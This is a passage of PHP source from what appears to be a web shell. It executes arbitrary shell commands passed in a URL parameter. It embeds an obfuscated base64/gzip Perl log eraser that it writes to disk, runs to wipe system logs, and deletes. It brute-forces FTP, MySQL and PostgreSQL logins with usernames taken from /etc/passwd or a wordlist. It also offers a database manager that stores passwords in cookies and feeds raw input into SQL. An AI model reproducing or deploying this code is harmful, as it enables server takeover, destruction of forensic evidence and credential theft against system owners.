3951 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
3952 <input type="text" class="box" name="execute">
3953 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but"></form></center>
3954 <?php
3955}
3956else if(isset($_GET['mycmd']))
3957{
3958 if($_GET['mycmd']=="logeraser")
3959 {
3960 $erase = gzinflate(base64_decode("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"));
3961 if(is_writable("."))
3962 {
3963 if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
3964 {
3965 fwrite($openp, $erase);
3966 fclose($openp);
3967 passthru("perl logseraser.pl linux");
3968 unlink("logseraser.pl");
3969 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3970 }
3971 } else
3972 {
3973 if($openp = fopen("/tmp/logseraser.pl", 'w'))
3974 {
3975 fwrite($openp, $erase)or die("Error");
3976 fclose($openp);
3977 $aidx = passthru("perl logseraser.pl linux");
3978 unlink("logseraser.pl");
3979 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3980 }
3981 }
3982 }
3983 else
3984 {
3985 $check = shell_exec($_GET['mycmd']);
3986 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3987 }
3988}
3989else if(isset($_GET['prototype']))
3990{
3991 echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
3992 if( $_GET['prototype'] == 'ftp' )
3993 {
3994 function BruteFun($ip,$port,$login,$pass)
3995 {
3996 $fp = @ftp_connect($ip, $port?$port:21);
3997 if(!$fp) return false;
3998 $res = @ftp_login($fp, $login, $pass);
3999 @ftp_close($fp);
4000 return $res;
4001 }
4002 }
4003 elseif( $_GET['prototype'] == 'mysql' )
4004 {
4005 function BruteFun($ip,$port,$login,$pass)
4006 {
4007 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
4008 @mysql_close($res);
4009 return $res;
4010 }
4011 }
4012 elseif( $_GET['prototype'] == 'pgsql' )
4013 {
4014 function BruteFun($ip,$port,$login,$pass)
4015 {
4016 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
4017 $res = @pg_connect($str);
4018 @pg_close($res);
4019 return $res;
4020 }
4021 }
4022
4023 $success = 0;
4024 $attempts = 0;
4025 $server = explode(":", $_GET['server']);
4026 if($_GET['type'] == 1)
4027 {
4028 $temp = @file('/etc/passwd');
4029 if( is_array($temp))
4030 foreach($temp as $line)
4031 {
4032 $line = explode(":", $line);
4033 ++$attempts;
4034 if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
4035 {
4036 $success++;
4037 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
4038 }
4039 if(@$_GET['reverse'])
4040 {
4041 $tmp = "";
4042 for($i=strlen($line[0])-1; $i>=0; --$i)
4043 $tmp .= $line[0][$i];
4044 ++$attempts;
4045 if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
4046 {
4047 $success++;
4048 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
4049 }
4050 }
4051 }
4052 }
4053 elseif($_GET['type'] == 2)
4054 {
4055 $temp = @file($_GET['dict']);
4056 if( is_array($temp) )
4057 foreach($temp as $line)
4058 {
4059 $line = trim($line);
4060 ++$attempts;
4061 if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
4062 {
4063 $success++;
4064 echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
4065 }
4066 }
4067 }
4068 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
4069}
4070// Execute Query
4071else if(isset($_GET["executeit"]))
4072{
4073 if(isset($_GET['username']) && isset($_GET['server']))
4074 {
4075 $dbserver = $_GET['server'];
4076 $dbuser = $_GET['username'];
4077 $dbpass = $_GET['password'];
4078 if(mysql_connect($dbserver,$dbuser,$dbpass))
4079 {
4080 setcookie("dbserver", $dbserver);
4081 setcookie("dbuser", $dbuser);
4082 setcookie("dbpass", $dbpass);
4083
4084 listdatabase();
4085 }
4086 else
4087 echo "cannotconnect";
4088 }
4089}
4090else if(isset($_GET['action']) && isset($_GET['dbname']))
4091
4092
4093 {
4094 if($_GET['action'] == "createDB")
4095 {
4096 $dbname = $_GET['dbname'];
4097 $dbserver = $_COOKIE["dbserver"];
4098 $dbuser = $_COOKIE["dbuser"];
4099 $dbpass = $_COOKIE["dbpass"];
4100 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4101 mysql_query("create database $dbname",$mysqlHandle);
4102 listdatabase();
4103 }
4104 if($_GET['action'] == 'dropDB')
4105 {
4106 $dbname = $_GET['dbname'];
4107 $dbserver = $_COOKIE["dbserver"];
4108 $dbuser = $_COOKIE["dbuser"];
4109 $dbpass = $_COOKIE["dbpass"];
4110 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4111 mysql_query("drop database $dbname",$mysqlHandle);
4112 mysql_close($mysqlHandle);
4113 listdatabase();
4114 }
4115
4116 if($_GET['action'] == 'listTables')
4117 {
4118 listtable();
4119 }
4120
4121 // Create Tables
4122 if($_GET['action'] == "createtable")
4123 {
4124 $dbserver = $_COOKIE["dbserver"];
4125 $dbuser = $_COOKIE["dbuser"];
4126 $dbpass = $_COOKIE["dbpass"];
4127 $dbname = $_GET['dbname'];
4128 $tablename = $_GET['tablename'];
4129 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4130 mysql_select_db($dbname);
4131 mysql_query("CREATE TABLE $tablename ( no INT )");
4132 listtable();
4133 }
4134
4135 // Drop Tables
4136 if($_GET['action'] == "dropTable")
4137 {
4138 $dbserver = $_COOKIE["dbserver"];
4139 $dbuser = $_COOKIE["dbuser"];
4140 $dbpass = $_COOKIE["dbpass"];
4141 $dbname = $_GET['dbname'];
4142 $tablename = $_GET['tablename'];
4143 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4144 mysql_select_db($dbname);
4145 mysql_query("drop table $tablename");
4146 listtable();
4147 }
4148
4149 // Empty Tables
4150 if($_GET['action'] == "empty")
4151 {
4152 $dbserver = $_COOKIE["dbserver"];
4153 $dbuser = $_COOKIE["dbuser"];
4154 $dbpass = $_COOKIE["dbpass"];
4155 $dbname = $_GET['dbname'];
4156 $tablename = $_GET['tablename'];
4157 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4158 mysql_select_db($dbname);
4159 mysql_query("delete from $tablename");
4160 listtable();
4161 }
4162
4163 // Empty Tables
4164 if($_GET['action'] == "dropField")
4165 {
4166 $dbserver = $_COOKIE["dbserver"];
4167 $dbuser = $_COOKIE["dbuser"];
4168 $dbpass = $_COOKIE["dbpass"];
4169 $dbname = $_GET['dbname'];
4170 $tablename = $_GET['tablename'];
4171 $fieldname = $_GET['fieldname'];
4172 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4173 mysql_select_db($dbname);
4174 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
4175 mysql_select_db( $dbname, $mysqlHandle );
4176 mysql_query( $queryStr , $mysqlHandle );
4177 listtable();
4178 }
4179
4180 if($_GET['action'] == 'viewdb')
4181 {
4182 listdatabase();
4183 }
4184
4185 // View Table Schema
4186 if($_GET['action'] == "viewSchema")
4187 {
4188 $dbserver = $_COOKIE["dbserver"];
4189 $dbuser = $_COOKIE["dbuser"];
4190 $dbpass = $_COOKIE["dbpass"];
4191 $dbname = $_GET['dbname'];
4192 $tablename = $_GET['tablename'];
4193 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4194 mysql_select_db($dbname);
4195 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4196 $pResult = mysql_query( "SHOW fields FROM $tablename" );
4197 $num = mysql_num_rows( $pResult );
4198 echo "<br><br><table align=center cellspacing=4 style='width:80%;' border=1>";
4199 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
4200 for( $i = 0; $i < $num; $i++ )
4201 {
4202 $field = mysql_fetch_array( $pResult );
4203 echo "<tr>\n";
4204 echo "<td>".$field["Field"]."</td>\n";
4205 echo "<td>".$field["Type"]."</td>\n";
4206 echo "<td>".$field["Null"]."</td>\n";
4207 echo "<td>".$field["Key"]."</td>\n";
4208 echo "<td>".$field["Default"]."</td>\n";
4209 echo "<td>".$field["Extra"]."</td>\n";
4210 $fieldname = $field["Field"];
4211 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
4212 echo "</tr>\n";
4213 }
4214 echo "</table>";
4215 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4216 }
4217
4218 // Execute Query
4219 if($_GET['action'] == "executequery")
4220 {
4221 $dbserver = $_COOKIE["dbserver"];
4222 $dbuser = $_COOKIE["dbuser"];
4223 $dbpass = $_COOKIE["dbpass"];
4224 $dbname = $_GET['dbname'];
4225 $tablename = $_GET['tablename'];
4226 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4227 mysql_select_db($dbname);
4228 $result = mysql_query($_GET['executemyquery']);
4229
4230 // results
4231 echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
4232
4233 $count = 0;
4234 while ($row = mysql_fetch_assoc($result))
4235 {
4236 echo "<tr>\r\n";
4237
4238 if ($count==0) // list column names
4239 {
4240 echo "<tr>\r\n";
4241 while($key = key($row))
4242 {
4243 echo "<td><b>" . $key . "</b></td>\r\n";
4244 next($row);
4245 }
4246 echo "</tr>\r\n";
4247 }
4248
4249 foreach($row as $r) // list content of column names
4250 {
4251 if ($r=='') $r = '<font >NULL</font>';
4252 echo "<td><font class=txt>" . $r . "</font></td>\r\n";
4253 }
4254 echo "</tr>\r\n";
4255 $count++;
4256 }
4257 echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
4258 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4259 }
4260
4261 // View Table Data
4262 if($_GET['action'] == "viewdata")
4263 {
4264 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4265 $dbserver = $_COOKIE["dbserver"];
4266 $dbuser = $_COOKIE["dbuser"];
4267 $dbpass = $_COOKIE["dbpass"];
4268 $dbname = $_GET['dbname'];
4269 $tablename = $_GET['tablename'];
4270 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4271 ?>
4272 <br><br>
4273 <form>
4274 <table>
4275 <tr>
4276 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
4277 </tr>
4278 <tr>
4279 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
4280 </tr>
4281 </table>
4282 </form>
4283 <?php
4284 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4285 mysql_select_db($dbname);
4286
4287 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4288 $row = mysql_fetch_array($sql);
4289 $rowid = $row['COLUMN_NAME'];
4290
4291 echo "<br><font size=4 color =lime>Data in Table</font><br>";
4292 if( $tablename != "" )
4293 echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
4294 else
4295 echo "<font size=3 class=txt>$dbname</font><br>";
4296
4297 $queryStr = "";
4298 $pag = 0;
4299 $queryStr = stripslashes( $queryStr );
4300 if( $queryStr == "" )
4301 {
4302 if(isset($_REQUEST['page']))
4303 {
4304 $res = mysql_query("select * from $tablename");
4305 $getres = mysql_num_rows($res);
4306 $coun = ceil($getres/30);
4307 if($_REQUEST['page'] != 1)
4308
4309 $pag = $_REQUEST['page'] * 30;
4310 else
4311 $pag = $_REQUEST['page'] * 30;
4312
4313 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
4314 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
4315 $arrcount = 1;
4316 $arrdata[$arrcount] = 0;
4317 while($row = mysql_fetch_array($sql))
4318 {
4319 $arrdata[$arrcount] = $row[$rowid];
4320 $arrcount++;
4321 }
4322 }
4323 else
4324 {
4325 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
4326 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
4327 $arrcount = 1;
4328 $arrdata[$arrcount] = 0;
4329 while($row = mysql_fetch_array($sql))
4330 {
4331 $arrdata[$arrcount] = $row[$rowid];
4332 $arrcount++;
4333 }
4334 }
4335 if( $orderby != "" )
4336 $queryStr .= " ORDER BY $orderby";
4337 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
4338 }
4339
4340
4341 $pResult = mysql_query($queryStr );
4342 $fieldt = mysql_fetch_field($pResult);
4343 $tablename = $fieldt->table;
4344 $errMsg = mysql_error();
4345
4346 $GLOBALS[queryStr] = $queryStr;
4347
4348 if( $pResult == false )
4349 {
4350 echoQueryResult();
4351 return;
4352 }
4353 if( $pResult == 1 )
4354 {
4355 $errMsg = "Success";
4356 echoQueryResult();
4357 return;
4358 }
4359
4360 echo "<hr color='#1B1B1B'>\n";
4361
4362 $row = mysql_num_rows( $pResult );
4363 $col = mysql_num_fields( $pResult );
4364
4365 if( $row == 0 )
4366 {
4367 echo "<font size=3>No Data Exist!</font>";
4368 return;
4369 }
4370
4371 if( $rowperpage == "" ) $rowperpage = 30;
4372 if( $page == "" ) $page = 0;
4373 else $page--;
4374 mysql_data_seek( $pResult, $page * $rowperpage );
4375
4376 echo "<table cellspacing=1 cellpadding=5 border=1 align=center>\n";
4377 echo "<tr>\n";
4378 for( $i = 0; $i < $col; $i++ )
4379 {
4380 $field = mysql_fetch_field( $pResult, $i );
4381 echo "<th>";
4382 if($action == "viewdata")
4383 echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
4384 else
4385 echo $field->name."\n";
4386 echo "</th>\n";
4387 }
4388 echo "<th colspan=2>Action</th>\n";
4389 echo "</tr>\n";
4390 $num=1;
4391
4392
4393 $acount = 1;
4394
4395 for( $i = 0; $i < $rowperpage; $i++ )
4396 {
4397 $rowArray = mysql_fetch_row( $pResult );
4398 if( $rowArray == false ) break;
4399 echo "<tr>\n";
4400 $key = "";
4401 for( $j = 0; $j < $col; $j++ )
4402 {
4403 $data = $rowArray[$j];
4404
4405 $field = mysql_fetch_field( $pResult, $j );
4406 if( $field->primary_key == 1 )
4407 $key .= "&" . $field->name . "=" . $data;
4408
4409 if( strlen( $data ) > 30 )
4410 $data = substr( $data, 0, 30 ) . "...";
4411 $data = htmlspecialchars( $data );
4412 echo "<td>\n";
4413 echo "<font class=txt>$data</font>\n";
4414 echo "</td>\n";
4415 }
4416
4417 if(!is_numeric($arrdata[$acount]))
4418 echo "<td colspan=2>No Key</td>\n";
4419 else
4420 {
4421 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
4422 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
4423 $acount++;
4424 }
4425 }
4426 echo "</tr>\n";
4427
4428
4429 echo "</table>";
4430 if($arrcount > 30)
4431 {
4432 $res = mysql_query("select * from $tablename");
4433 $getres = mysql_num_rows($res);
4434 $coun = ceil($getres/30);
4435 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
4436 for($i=0;$i<$coun;$i++)
4437 echo "<option value=$i>$i</option>";
4438
4439 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
4440 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4441 }
4442 }
4443
4444 // Delete Table Data
4445 if($_GET['action'] == "deleteData")
4446 {
4447 $dbserver = $_COOKIE["dbserver"];
4448 $dbuser = $_COOKIE["dbuser"];
4449 $dbpass = $_COOKIE["dbpass"];
4450 $dbname = $_GET['dbname'];
4451 $tablename = $_GET['tablename'];
4452 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4453 mysql_select_db($dbname);
4454 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4455 $row = mysql_fetch_array($sql);
4456 $row = $row['COLUMN_NAME'];
4457 $rowid = $_GET[$row];
4458 mysql_query("delete from $tablename where $row = '$rowid'");
4459 listtable();
4460 }
4461 // Edit Table Data
4462 if($_GET['action'] == "editData")
4463 {
4464 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4465 $dbserver = $_COOKIE["dbserver"];
4466 $dbuser = $_COOKIE["dbuser"];
4467 $dbpass = $_COOKIE["dbpass"];
4468 $dbname = $_GET['dbname'];
4469 $tablename = $_GET['tablename'];
4470 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4471 ?>
4472 <br><br>
4473 <form action="<?php echo $self; ?>" method="post">
4474 <?php
4475 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4476 mysql_select_db($dbname);
4477
4478 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4479 $row = mysql_fetch_array($sql);
4480 $row = $row['COLUMN_NAME'];
4481 $rowid = $_GET[$row];
4482
4483 $pResult = mysql_list_fields( $dbname, $tablename );
4484 $num = mysql_num_fields( $pResult );
4485
4486 $key = "";
4487 for( $i = 0; $i < $num; $i++ )
4488 {
4489 $field = mysql_fetch_field( $pResult, $i );
4490 if( $field->primary_key == 1 )
4491 if( $field->numeric == 1 )
4492 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
4493 else
4494 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
4495 }
4496 $key = substr( $key, 0, strlen($key)-4 );
4497
4498 mysql_select_db( $dbname, $mysqlHandle );
4499 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
4500 $data = mysql_fetch_array( $pResult );
4501
4502 echo "<table cellspacing=1 cellpadding=2 border=1>\n";
4503 echo "<tr>\n";
4504 echo "<th>Name</th>\n";
4505 echo "<th>Type</th>\n";
4506 echo "<th>Function</th>\n";
4507 echo "<th>Data</th>\n";
4508 echo "</tr>\n";
4509
4510 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4511 $num = mysql_num_rows( $pResult );
4512
4513 $pResultLen = mysql_list_fields( $dbname, $tablename );
4514 $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
4515 $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
4516 for( $i = 0; $i < $num; $i++ )
4517 {
4518 $field = mysql_fetch_array( $pResult );
4519 $fieldname = $field["Field"];
4520 $fieldtype = $field["Type"];
4521 $len = mysql_field_len( $pResultLen, $i );
4522
4523 echo "<tr>";
4524 echo "<td>$fieldname</td>";
4525 echo "<td>".$field["Type"]."</td>";
4526 echo "<td>\n";
4527 echo "<select name=${fieldname}_function class=sbox>\n";
4528 echo "<option>\n";
4529 echo "<option>ASCII\n";
4530 echo "<option>CHAR\n";
4531 echo "<option>SOUNDEX\n";
4532 echo "<option>CURDATE\n";
4533 echo "<option>CURTIME\n";
4534 echo "<option>FROM_DAYS\n";
4535 echo "<option>FROM_UNIXTIME\n";
4536 echo "<option>NOW\n";
4537 echo "<option>PASSWORD\n";
4538 echo "<option>PERIOD_ADD\n";
4539 echo "<option>PERIOD_DIFF\n";
4540 echo "<option>TO_DAYS\n";
4541 echo "<option>USER\n";
4542 echo "<option>WEEKDAY\n";
4543 echo "<option>RAND\n";
4544 echo "</select>\n";
4545 echo "</td>\n";
4546 $value = htmlspecialchars($data[$i]);
4547 $type = strtok( $fieldtype, " (,)\n" );
4548 if( $type == "enum" || $type == "set" )
4549 {
4550 echo "<td>\n";
4551 if( $type == "enum" )
4552 echo "<select name=$fieldname class=box>\n";
4553 else if( $type == "set" )
4554 echo "<select name=$fieldname size=4 class=box multiple>\n";
4555 while( $str = strtok( "'" ) )
4556 {
4557 if( $value == $str )
4558 echo "<option selected>$str\n";
4559 else
4560 echo "<option>$str\n";
4561 strtok( "'" );
4562 }
4563 echo "</select>\n";
4564 echo "</td>\n";
4565 }
4566 else
4567 {
4568 if( $len < 40 )
4569 echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
4570 else
4571 echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>\n";
4572 }
4573 $fundata1 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4574 $fundata2 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4575 echo "</tr>";
4576 }
4577 $fundata1=eregi_replace(',$', '', $fundata1);
4578 $fundata2=eregi_replace(',$', '', $fundata2);
4579
4580 echo "</table><p>\n";
4581 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
4582 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
4583 echo "</form>\n";
4584 }
4585 }
4586// Edit Submit Table Data
4587else if($_REQUEST['action'] == "editsubmitData")
4588{
4589 $dbserver = $_COOKIE["dbserver"];
4590 $dbuser = $_COOKIE["dbuser"];
4591 $dbpass = $_COOKIE["dbpass"];
4592 $dbname = $_POST['dbname'];
4593 $tablename = $_POST['tablename'];
4594
4595 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4596 mysql_select_db($dbname);
4597
4598 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4599 $row = mysql_fetch_array($sql);
4600 $row = $row['COLUMN_NAME'];
4601 $rowid = $_POST[$row];
4602
4603 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4604 $num = mysql_num_rows( $pResult );
4605
4606 $rowcount = $num;
4607
4608 $pResultLen = mysql_list_fields( $dbname, $tablename );
4609
4610 for( $i = 0; $i < $num; $i++ )
4611 {
4612 $field = mysql_fetch_array( $pResult );
4613 $fieldname = $field["Field"];
4614 $arrdata = $_REQUEST[$fieldname];
4615
4616 $str .= " " . $fieldname . " = '" . $arrdata . "'";
4617 $rowcount--;
4618 if($rowcount != 0)
4619 $str .= ",";
4620 }
4621
4622 $str = "update $tablename set" . $str . " where $row=$rowid";
4623 mysql_query($str);
4624 ?><div id="showsql"></div><?php
4625}
4626// Insert Table Data
4627else if($_REQUEST['action'] == "insertdata")
4628{
4629 $dbserver = $_COOKIE["dbserver"];
4630 $dbuser = $_COOKIE["dbuser"];
4631 $dbpass = $_COOKIE["dbpass"];
4632 $dbname = $_POST['dbname'];
4633 $tablename = $_POST['tablename'];
4634
